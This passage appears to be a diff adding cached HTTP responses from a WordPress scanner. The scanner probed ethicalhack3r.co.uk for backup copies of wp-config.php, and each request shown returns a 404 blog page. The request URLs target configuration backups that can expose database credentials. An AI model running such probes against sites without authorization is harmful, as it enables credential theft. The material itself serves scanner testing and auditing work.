<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
<br/>\n\
<br/>\n\
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
</div></div>\n\
</li>\n\
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&amp;fg=000000&amp;anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
</li>\n\
</ul>\n </div>\n\
<br style=\"clear:both;\"/>\n\
<div id=\"footer\">\n\
<div class=\"copyright\">Copyright &copy; 2008-2012 Ryan Dewhurst</div>\n\
</div>\n \n\
</div>\n \n\
</body>\n\
</html>"
code: 404
connect_time: 2.7e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php.swo
headers: |
HTTP/1.1 404 Not Found
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: session=btbhn2tn1b8n5rsahvjg31crgbbrg1t2; path=/; HttpOnly
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
Last-Modified: Mon, 09 Jul 2012 08:15:30 GMT
Vary: Accept-Encoding
Set-Cookie: __cfduid=d853eee8eb6d57ae6059c1d773a495cc11341821729; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=d853eee8eb6d57ae6059c1d773a495cc11341821729; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=d853eee8eb6d57ae6059c1d773a495cc11341821729; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 2.7e-05
pretransfer_time: 2.5e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete: !ruby/object:Proc {}
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-config.php.swo
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-config.php.swo
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 1.885056
status_message:
time: 1.959802

View File

@@ -0,0 +1,310 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 2.9e-05
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
<head>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<title>Nothing found for Wp-config Php Bak</title>\n\
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
</head>\n\
<body><script type=\"text/javascript\">\n\
//<![CDATA[\n\
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
//]]>\n\
</script>\n\
<noscript>\n\
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
</noscript>\n\
<script type=\"text/javascript\">\r\n\
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
\r\n\
</script>\n\
<div class=\"topLine\">\n\
</div>\n\
<div id=\"wrap\">\n\
<div id=\"header\">\n\
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
<ul id=\"menu\">\n\
<li id=\"home\" class=\"current_page_item\">\n\
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
<div class=\"menuLine\">\n\
01\n\
</div> \n\
</a>\n\
</li>\n\
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
<li id=\"rss\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
</li>\n\
</ul>\n\
<br style=\"clear:both;\"/>\n\
</div>\n \n\
<div id=\"main\">\n\
<div id=\"primary\">\n\
<div class=\"topLine\">\n\
</div>\n\
<h2>Recent</h2>\n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug &#8211; PHP Static Code Analysis</a></h2>\n\
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo&#8217;ing (Google was largely unknown) for the term &#8216;hacking&#8217;. Back then Yahoo! Chat was still around and had a chat room called the &#8216;Hackers Lounge&#8217;, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI &#8216;hacking&#8217; tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these &#8216;hacking&#8217; tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 &#8216;hacking&#8217; tools that I and others used &#8216;back in the day&#8217;. Warning: Download links not verified.</p>\n\
<p><strong>Legion by Rhino9</strong></p>\n\
<p>Use: Windows Null Session share scanner.<br/>\n\
Released: 1999<br/>\n\
Platform: Windows<br/>\n\
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5</a><br/>\n\
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn&#8217;t really know how it was used so I decided to investigate further.</p>\n\
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in &lt;frame&gt; or &lt;iframe&gt; HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
<p>The X-Frame-Options header may have three different values:</p>\n\
<p><strong>DENY</strong> &#8211; No pages are allowed to be loaded.<br/>\n\
<strong>SAMEORIGIN</strong> &#8211; Only pages from the same domain are allowed to be loaded.<br/>\n\
<strong>Allow-From http://www.example.com</strong> &#8211; Only allow frames from www.example.com.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they&#8217;re the ones who call me an &#8216;expert&#8217;, personally, I hate the term and would never call myself one.</p>\n\
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
<p class=\"meta\">\n\
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
<p>I am tired of receiving multiple telemarketing calls per day, I&#8217;m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I&#8217;m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
<p>You can help by signing the petition here;<br/>\n\
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
</p>\n\
</div>\n \n\
<div id=\"morePrev\">\n\
<span id=\"prev\"></span>\n\
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php.bak/page/2/\">Next Page &raquo;</a></span>\n\
<br style=\"clear:both;\"/>\n\
</div>\n\
</div>\n \n\
<ul id=\"sidebar\">\n\
<li class=\"sidebarItem\" id=\"search\">\n\
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
</form> </li> \n\
<div class=\"topLine\"></div>\n\
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
<ul>\n\
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
</li>\n\
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
</li>\n\
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
</li>\n\
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
</li>\n\
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
</li>\n\
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
</li>\n\
</ul>\n\
</li>\n\
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li></ul></li>\n\
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
<ul>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
<ul class='xoxo blogroll'>\n\
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
<br/>\n\
<br/>\n\
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
</div></div>\n\
</li>\n\
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&amp;fg=000000&amp;anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
</li>\n\
</ul>\n </div>\n\
<br style=\"clear:both;\"/>\n\
<div id=\"footer\">\n\
<div class=\"copyright\">Copyright &copy; 2008-2012 Ryan Dewhurst</div>\n\
</div>\n \n\
</div>\n \n\
</body>\n\
</html>"
code: 404
connect_time: 2.9e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php.bak
headers: |
HTTP/1.1 404 Not Found
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:27 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: session=h7ta2dgci6af79ol49giopm5454f4qsv; path=/; HttpOnly
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
Last-Modified: Mon, 09 Jul 2012 08:15:27 GMT
Vary: Accept-Encoding
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 2.9e-05
pretransfer_time: 2.7e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete: !ruby/object:Proc {}
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-config.php.bak
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-config.php.bak
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 1.049149
status_message:
time: 1.158358

View File

@@ -0,0 +1,311 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 2.8e-05
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
<head>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<title>Nothing found for Wp-config Save</title>\n\
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
